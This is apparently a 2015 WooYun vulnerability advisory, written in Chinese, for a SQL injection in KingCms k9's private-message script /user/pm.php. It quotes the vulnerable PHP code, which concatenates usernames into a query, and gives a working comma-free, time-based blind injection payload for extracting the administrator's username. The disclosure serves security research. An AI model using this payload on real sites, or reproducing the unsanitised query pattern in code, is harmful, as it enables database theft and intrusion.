当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103337

漏洞标题:KingCms最新版(k9)注入1枚

相关厂商:KingCms

漏洞作者: 路人甲

提交时间:2015-03-25 16:28

修复时间:2015-05-09 16:30

公开时间:2015-05-09 16:30

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-25: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

KingCms最新版(k9)注入1枚

详细说明:

朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。
这个注入有点好玩,不能使用逗号,逼的我只能盲注了,哈哈,下面来研究研究吧。
注入点:GET /user/pm.php?jsoncallback=1&_=1&CMD=post&METHOD=POST&AJAX=1&username=test&content=test HTTP/1.1注入参数:where 问题文件在 /user/pm.php

function _post(){
$u=new user;extract($u->info);;
if (!$islogin) kc_tip('请先登录!');
if(METHOD=='POST'){
$str=new str;
$db=new db;
if(empty($_POST['username'])) kc_tip('用户名不能为空!','form');
if(empty($_POST['content'])) kc_tip('短信内容不能为空!','form');
if($str->len($_POST['content'])>1000) kc_tip('短信不能超过1000字!');
$usernames=preg_split('/[\s\,]+/',$_POST['username']);
$res=$db->getRows('%s_user','userid',"username in ('".implode("','",$usernames)."')");
if(empty($res)) kc_tip('收件人名称有误!','form');
$array=array();
foreach($res as $rs){
$array[]=array(
'userid'=>$rs['userid'],
'puserid'=>$userid,
'content'=>$_POST['content'],
'date'=>time(),
);
}
$db->insert('%s_user_pm',$array,1);
kc_tip('信息发送成功!','ok');
}
无关代码


看上面的代码是这么处理$username的:$usernames=preg_split('/[\s\,]+/',$_POST['username']);
也就是用一个正则表达式来分隔字符串,而这个正则表达式会匹配逗号,也就是说在写payload时,逗号肯定是不能用的了,因为payload中的逗号会被用作分隔符。除了使用preg_split处理了一下$username,就没有别的处理了,带入了SQL。因此,这里存在注入。
Kingcms本来是可以报错注入的,但是我不知道如何能写出不使用逗号的报错注入的payload,所以,这里我只能使用盲注了。使用case when then来避免使用逗号,payload见下
Payload:(注册一个前台用户登陆后即可测试)

')or/**/(select/**/case/**/when/**/(select/**/username/**/from/**/(select/**/*/**/from/**/king_user)/**/as/**/a/**/where/**/userid=10000)/**/like/**/'z%'/**/then/**/sleep(1)/**/else/**/sleep(0)/**/end)/**/%23


当猜测管理员用户名的第一个字母是a时,若正确,则延迟

猜测正确副本.jpg


若错误,不延迟

猜测错误副本.jpg


漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝